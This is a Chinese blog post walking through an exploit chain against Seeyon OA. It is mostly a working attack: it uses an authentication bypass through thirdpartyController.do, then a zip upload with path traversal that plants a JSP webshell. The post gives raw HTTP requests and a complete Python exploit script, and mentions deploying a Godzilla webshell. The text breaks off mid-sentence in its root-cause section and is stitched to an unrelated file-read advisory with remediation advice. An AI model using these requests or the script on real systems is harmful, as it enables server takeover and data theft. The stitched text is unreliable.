致远漏洞(登陆绕过+任意文件上传)

漏洞复现

1.获得cookie

POST /seeyon/thirdpartyController.do HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1

在这里插入图片描述
224791DA45D8CCAC687C1D40EB11A1AC
9D5488963545F408D71933161CCCAF53
每次请求都会得到一个cookie值,都可以用,如下:在这里插入图片描述
失败的cookie如下:在这里插入图片描述
2.上传zip文件

POST /seeyon/fileUpload.do?method=processUpload&maxSize= HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=224791DA45D8CCAC687C1D40EB11A1AC
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------1416682316313
Content-Length: 1079

-----------------------------1416682316313
Content-Disposition: form-data; name="type"


-----------------------------1416682316313
Content-Disposition: form-data; name="extensions"


-----------------------------1416682316313
Content-Disposition: form-data; name="applicationCategory"


-----------------------------1416682316313
Content-Disposition: form-data; name="destDirectory"


-----------------------------1416682316313
Content-Disposition: form-data; name="destFilename"


-----------------------------1416682316313
Content-Disposition: form-data; name="maxSize"


-----------------------------1416682316313
Content-Disposition: form-data; name="isEncrypt"


-----------------------------1416682316313
Content-Disposition: form-data; name="file1"; filename="123.zip"
Content-Type: application/x-zip-compressed

zip文件
-----------------------------1416682316313--

注意这里zip文件直接burp右键paste from file放进去即可
在这里插入图片描述
在这里插入图片描述
这里压缩文件如上

3.解压压缩文件

POST /seeyon/ajax.do HTTP/1.1
Host: 192.168.1.9 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=224791DA45D8CCAC687C1D40EB11A1AC
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=[0,"2024-02-23","-8399929361113331102"]


在这里插入图片描述
可以看到报错找不到指定文件,是因为我们压缩包中没有带layout.xml,其必须存在否则在利用解压漏洞时会解压失败空内容即可

注意上传目录:在这里插入图片描述
然后我重新生成zip文件在这里插入图片描述
再次解压,在这里插入图片描述
但是访问不到,应该这里有问题
在这里插入图片描述
在这里插入图片描述
因为解压出来的目录都为空,直接用下面脚本吧

这里利用脚本来进行攻击利用
223.py

# coding:utf-8
import time
import requests
import re
import sys
import random
import zipfile


la = {
   
   'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
           'Content-Type': 'application/x-www-form-urlencoded'}

def generate_random_str(randomlength=16):
  random_str = ''
  base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
  length = len(base_str) - 1
  for i in range(randomlength):
    random_str += base_str[random.randint(0, length)]
  return random_str

mm = generate_random_str(8)

webshell_name1 = mm+'.jsp'
webshell_name2 = '../'+webshell_name1

def file_zip():
    shell = 'test'   ## 替换shell内容
    zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)
    zf.writestr('layout.xml', "")
    zf.writestr(webshell_name2, shell)


def Seeyon_Getshell(urllist):

    url = urllist+'/seeyon/thirdpartyController.do'
    post = "method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1"
    response = requests.post(url=url, data=post, headers=la)
    if response and response.status_code == 200 and 'set-cookie' in str(response.headers).lower():
        cookie = response.cookies
        cookies = requests.utils.dict_from_cookiejar(cookie)
        jsessionid = cookies['JSESSIONID']
        file_zip()
        print( '获取cookie成功---->> '+jsessionid)
        fileurl = urllist+'/seeyon/fileUpload.do?method=processUpload&maxSize='
        headersfile = {
   
   'Cookie': "JSESSIONID=%s" % jsessionid}
        post = {
   
   'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver': "false", "type": '0',
                'isEncrypt': "0"}
        file = [('file1', ('test.png', open(mm+'.zip', 'rb'), 'image/png'))]
        filego = requests.post(url=fileurl,data=post,files=file, headers=headersfile)
        time.sleep(2)
    else:
        print('获取cookie失败')
        exit()
    if filego.text:
        fileid1 = re.findall('fileurls=fileurls\+","\+\'(.+)\'', filego.text, re.I)
        fileid = fileid1[0]
        if len(fileid1) == 0:
            print('未获取到文件id可能上传失败!')
        print('上传成功文件id为---->>:'+fileid)
        Date_time = time.strftime('%Y-%m-%d')
        headersfile2 = {'Content-Type': 'application/x-www-form-urlencoded','Cookie': "JSESSIONID=%s" % jsessionid}
        getshellurl = urllist+'/seeyon/ajax.do'
        data = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + Date_time + '%22%2C%22' + fileid + '%22%5D'
        getshell = requests.post(url=getshellurl,data=data,headers=headersfile2)
        time.sleep(1)
        webshellurl1 = urllist + '/seeyon/common/designer/pageLayout/' + webshell_name1
        shelllist = requests.get(url=webshellurl1)
        if shelllist.status_code == 200:
            print('利用成功webshell地址:'+webshellurl1)
        else:
            print('未找到webshell利用失败')



def main():
    if (len(sys.argv) == 2):
        url = sys.argv[1]
        Seeyon_Getshell(url)
    else:
        print("python3 Seeyon_Getshell.py http://xx.xx.xx.xx")

if __name__ == '__main__':
    main()

python.exe 223.py http://192.168.1.2
在这里插入图片描述
在这里插入图片描述
然后我们在本地找找文件上传目录在这里插入图片描述
因为脚本中加了…/,所以就在pageLayout根目录,如果不加…/会在2853431203184658860文件夹下面,
在这里插入图片描述
可以看到layout只需要有这个文件就行,0kb就行,所以我们上面手动的操作没问题,但是不知道哪有问题

我们改掉shell内容,为哥斯拉jsp在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到漏洞利用成功

漏洞原理

任意账户登录分析

首先搜索thirdpartyController.do接口
在这里插入图片描述
然后找到ThirdpartyController类路径
在这里插入图片描述
可以根据路由接口找到对应配置文件中类文件的映射找到类路径
在这里插入图片描述
根据exp知道调用了access方法

@NeedlessCheckLogin
public ModelAndView access(HttpServletRequest request, HttpServletResponse response) throws E
致远OA v8.1 SP2版本中存在的任意文件读取漏洞,属于较为严重的安全问题。攻击者可以利用该漏洞读取服务器上的任意文件,包括但不限于配置文件、日志文件以及敏感数据文件,从而进一步获取系统权限或进行横向渗透。该漏洞的出现通常与应用程序在处理文件请求时未对用户输入进行严格的校验和过滤有关。 漏洞的细节表明,攻击者可以通过构造特定的请求路径,访问本应受限的资源。例如,通过路径遍历或利用特殊字符绕过文件访问限制,从而读取任意文件内容。这种漏洞Web应用中较为常见,特别是在文件下载、附件预览等接口中,若未对用户输入进行严格限制,容易成为攻击入口[^1]。 ### 漏洞详情 - **漏洞类型**:任意文件读取漏洞(Arbitrary File Read) - **影响范围**:致远OA v8.1 SP2及相近版本 - **攻击方式**:构造恶意请求路径,读取服务器上的任意文件 - **危害程度**:高危,可能导致敏感信息泄露、服务器权限被获取 ### 修复方案 针对该漏洞,建议采取以下修复措施: 1. **输入过滤与白名单机制**: - 对用户输入的文件路径进行严格的过滤,避免使用动态拼接文件路径的方式。 - 实施文件访问的白名单策略,仅允许访问预设的合法文件路径。 2. **路径规范化处理**: - 使用标准的文件路径处理函数,防止路径遍历攻击(如`../`等)。 - 在访问文件前,确保路径经过规范化处理,避免绕过安全检查。 3. **最小权限原则**: - Web应用运行的账户应具备最小权限,避免因漏洞导致服务器权限被获取。 - 限制Web目录的访问权限,确保非Web应用管理的文件无法被访问。 4. **更新与补丁**: - 关注致远OA官方发布的安全补丁,及时更新系统版本。 - 若官方已发布针对该漏洞的修复补丁,建议立即应用。 5. **日志监控与入侵检测**: - 部署Web应用防火墙(WAF),识别并拦截异常请求。 - 加强日志审计,及时发现可疑行为。 ### 示例代码(路径过滤) 以下是一个简单的路径过滤示例,用于防止路径遍历攻击: ```java public String sanitizePath(String inputPath) { // 规范化路径,去除冗余部分 String normalizedPath = Paths.get(inputPath).normalize().toString(); // 定义允许的目录范围 String allowedBasePath = "/var/www/uploads/"; // 检查是否在允许的目录范围内 if (!normalizedPath.startsWith(allowedBasePath)) { throw new IllegalArgumentException("Access denied."); } return normalizedPath; } ``` ### 安全加固建议 - 定期进行安全评估和渗透测试,发现潜在漏洞。 - 对系统进行最小化部署,关闭不必要的服务和端口。 - 对开发人员进行安全编码培训,提升安全意识。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值